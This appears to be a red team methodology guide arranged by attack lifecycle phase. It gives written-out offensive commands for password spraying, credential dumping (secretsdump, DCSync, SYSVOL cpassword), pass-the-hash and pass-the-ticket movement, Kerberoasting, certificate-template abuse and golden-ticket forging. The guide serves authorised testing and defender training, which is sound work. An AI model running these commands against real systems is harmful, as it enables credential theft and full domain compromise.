☰   How to use this guide

A red team is not a vuln-by-vuln pentest — it's an objective-driven attack chain that emulates a real adversary while staying OPSEC-clean and in scope. The deliverable is the attack narrative + detection gaps, not a pile of findings. This guide turns every checklist line into how-to-run, organised by the engagement lifecycle and MITRE ATT&CK, with the AD chain (where most internal RT lands) detailed at the end. For non-AD service-level testing, pair with the Network checklist.

0   Pre-engagement & setup

Get the paperwork and guardrails right before touching anything. This is what keeps the engagement legal, safe and useful.

Pre-engagement & setup — full coverage

1   Reconnaissance

Passive OSINT first (employees, email format, breach data, exposed assets), then careful active recon (low-and-slow).

# Employee + email format + breach correlation
# (LinkedIn org, then derive {first}.{last}@target.tld); check breach datasets
# Exposed assets via cert transparency + Shodan
subfinder -d target.tld -silent | httpx -silent
shodan search "org:Target"
# Careful active perimeter scan (low-and-slow)
nmap -sS -T2 --top-ports 100 -iL external.txt

Reconnaissance — full coverage

2   Resource development (infra)

Stand up attributable-free infra: redirectors fronting C2, aged/categorised domains, valid TLS, a tuned C2 profile, and phishing infra with aligned email auth.

Resource development (infra) — full coverage

3   Initial access

Break in: spear-phishing, password spray on exposed auth, edge-service exploitation, or valid leaked accounts.

# Low-and-slow password spray on exposed auth (OWA/VPN/SSO)
# one password, many users, paced under lockout windows
# (e.g. MailSniper/o365spray for M365; ensure RoE allows)
# Edge-service exploitation: target known VPN/Citrix/edge CVEs in scope

Initial access — full coverage

4   Execution

Get code running and a stable beacon, preferring LOLBins and in-memory/fileless execution.

Execution — full coverage

5   Persistence

Survive reboots and cleanup with multiple independent, blend-in mechanisms.

Persistence — full coverage

6   Privilege escalation

Escalate locally on Windows and Linux. Triage with WinPEAS/LinPEAS, then exploit the specific misconfig.

# Windows triage + common wins
winPEASany.exe
#  unquoted service path, weak service perms, AlwaysInstallElevated, Potato (token impersonation)
# Linux triage + common wins
linpeas.sh
#  SUID/GTFOBins, sudo NOPASSWD, writable cron/PATH, capabilities
sudo -l ; find / -perm -4000 -type f 2>/dev/null

Privilege escalation — full coverage

7   Defense evasion

OPSEC core: validate evasion in a lab, bypass AMSI/ETW, blend C2 traffic, and minimise footprint.

Defense evasion — full coverage

8   Credential access

Harvest credentials — LSASS, hives, DPAPI, AD roasting/DCSync, and creds lying in files/SYSVOL.

# OPSEC-safe LSASS handling, SAM/SYSTEM hives, DPAPI, SYSVOL GPP
# Impacket secretsdump (remote): SAM + LSA + (DCSync) NTDS
secretsdump.py 'DOMAIN/user:pass@host'
# GPP cpassword in SYSVOL (decryptable - known AES key)
findstr /S /I cpassword \\domain\sysvol\*.xml

Credential access — full coverage

9   Discovery (situational awareness)

Situational awareness: local host, domain, shares, ACLs/delegation, and high-value targets. BloodHound maps the path.

# BloodHound collection (OPSEC-aware), then find shortest path to DA
# SharpHound / bloodhound-python -> import to BloodHound -> "Shortest Path to Domain Admins"
bloodhound-python -d target.local -u user -p pass -c All -ns <dc-ip>
# Share hunting
nxc smb <range> -u user -p pass -M spider_plus

Discovery — full coverage

10   Lateral movement

Move to new hosts with stolen material — PtH/PtT, PsExec/WMI/WinRM, relays and delegation abuse. Spread minimally, objective-driven.

# Pass-the-Hash / exec over SMB or WinRM (Impacket / NetExec)
nxc smb <host> -u user -H <NTLM> -x 'whoami'
psexec.py -hashes :<NTLM> 'DOMAIN/user@host'
# Pass-the-Ticket
export KRB5CCNAME=ticket.ccache ; psexec.py -k -no-pass DOMAIN/user@host

Lateral movement — full coverage

11–14   Collection, C2, exfiltration & impact

Locate crown-jewel data (collection), keep C2 resilient, prove exfil capability (usually a planted marker, not real PII), and complete the objective — demonstrating impact safely.

Collection, C2, exfiltration & impact — full coverage

AD   Active Directory attack chain

Where most internal red teams land. Enumerate the paths, harvest tickets/hashes, escalate to Domain/Enterprise Admin, then persist. ADCS (ESC1–ESC8) is now a primary route.

# Kerberoast + AS-REP roast (Impacket)
GetUserSPNs.py -request 'DOMAIN/user:pass' -dc-ip <dc>            # -> crack with hashcat -m 13100
GetNPUsers.py 'DOMAIN/' -usersfile users.txt -no-pass -dc-ip <dc> # -> hashcat -m 18200
# DCSync (replication rights)
secretsdump.py -just-dc 'DOMAIN/user:pass@dc'
# ADCS abuse (Certipy) — find + exploit ESC1..ESC8
certipy find -u user@domain -p pass -dc-ip <dc> -vulnerable
certipy req -u user@domain -p pass -ca <CA> -template <vuln> -upn administrator@domain
# Golden ticket (krbtgt hash) — domain persistence
ticketer.py -nthash <krbtgt> -domain-sid <SID> -domain DOMAIN administrator

Active Directory — full coverage

OP   OPSEC (all phases)

Runs across every phase — the discipline that separates a red team from a noisy pentest.

OPSEC checklist — full coverage

✓   Reporting & engagement-type map

The actual deliverable. A red team report's value is the attack narrative and detection gaps — and closing the loop with blue (purple debrief).

Engagement-type variations: external breaks the perimeter (§1–3 heavy); internal/AD assumes access and lives in §6–10 + AD; assumed-breach starts at §6; cloud red team pivots to the Cloud checklist; purple team runs TTPs deliberately with detection validation each step.

Core principle: red team success = demonstrating realistic business risk through an objective-driven attack chain, OPSEC-clean and in-scope. The report's value is the narrative + detection gaps, not isolated findings — always close with a purple debrief, because that's where defense actually improves.